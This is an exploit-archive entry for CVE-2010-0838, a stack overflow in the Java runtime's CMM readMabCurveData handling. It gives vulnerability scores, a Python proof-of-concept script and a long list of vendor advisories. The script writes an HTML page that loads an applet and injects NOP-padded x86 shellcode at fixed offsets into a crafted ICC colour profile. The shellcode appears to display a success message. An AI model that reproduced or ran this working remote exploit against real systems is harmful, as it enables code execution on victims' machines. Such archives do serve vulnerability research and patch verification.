Java CMM readMabCurveData Stack Overflow

2010.09.23

Credit: Abysssec

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-0838

CWE: NVD-CWE-noinfo

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
'''
Title : Java CMM readMabCurveData stack overflow
Version : Java runtime < 6.19
Analysis : http://www.abysssec.com
Vendor : http://www.java.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-0838
MOAUB Number : MOAUB_20_BA
http://www.exploit-db.com/moaub-20-java-cmm-readmabcurvedata-stack-overflow/
http://www.exploit-db.com/sploits/moaub-20-exploit.zip
'''
import sys
def main():
try:
strHTML = '''
<HTML>
<HEAD>
</HEAD>
<BODY>
<H1>You have exploited!!!</H1>
<P><APPLET code="Curve.class" WIDTH="600" HEIGHT="400">
</APPLET></P>
</BODY>
</HTML> '''
fHTML = open('index.html', 'w')
fHTML.write(strHTML)
fHTML.close()
fdR = open('kodak.icm', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:9154]
str2 = strTotal[9648:]
shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'
if len(shellcode) > 494:
print "[*] Error : Shellcode length is long"
return
if len(shellcode) <= 494:
dif = 494 - len(shellcode)
while dif > 0 :
shellcode += '\x90'
dif = dif - 1
fdW= open('kodak.icm', 'wb+')
fdW.write(str1)
fdW.write(shellcode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Html file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()

References:

http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html

http://xforce.iss.net/xforce/xfdb/57346

http://www.zerodayinitiative.com/advisories/ZDI-10-061

http://www.vupen.com/english/advisories/2010/1793

http://www.vupen.com/english/advisories/2010/1454

http://www.vupen.com/english/advisories/2010/1191

http://www.vupen.com/english/advisories/2010/1107

http://www.securityfocus.com/bid/39069

http://www.securityfocus.com/archive/1/archive/1/510534/100/0/threaded

http://www.redhat.com/support/errata/RHSA-2010-0471.html

http://www.redhat.com/support/errata/RHSA-2010-0383.html

http://www.redhat.com/support/errata/RHSA-2010-0339.html

http://www.redhat.com/support/errata/RHSA-2010-0338.html

http://www.redhat.com/support/errata/RHSA-2010-0337.html

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html

http://www.mandriva.com/security/advisories?name=MDVSA-2010:084

http://ubuntu.com/usn/usn-923-1

http://support.apple.com/kb/HT4171

http://support.apple.com/kb/HT4170

http://secunia.com/advisories/40545

http://secunia.com/advisories/39819

http://secunia.com/advisories/39659

http://secunia.com/advisories/39317

http://secunia.com/advisories/39292

http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:10482

http://lists.opensuse.org/opensuse-security-announce/2010-05/msg00001.html

http://lists.opensuse.org/opensuse-security-announce/2010-04/msg00001.html

http://lists.apple.com/archives/security-announce/2010//May/msg00002.html

http://lists.apple.com/archives/security-announce/2010//May/msg00001.html

http://itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02273751

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Java CMM readMabCurveData Stack Overflow

References:

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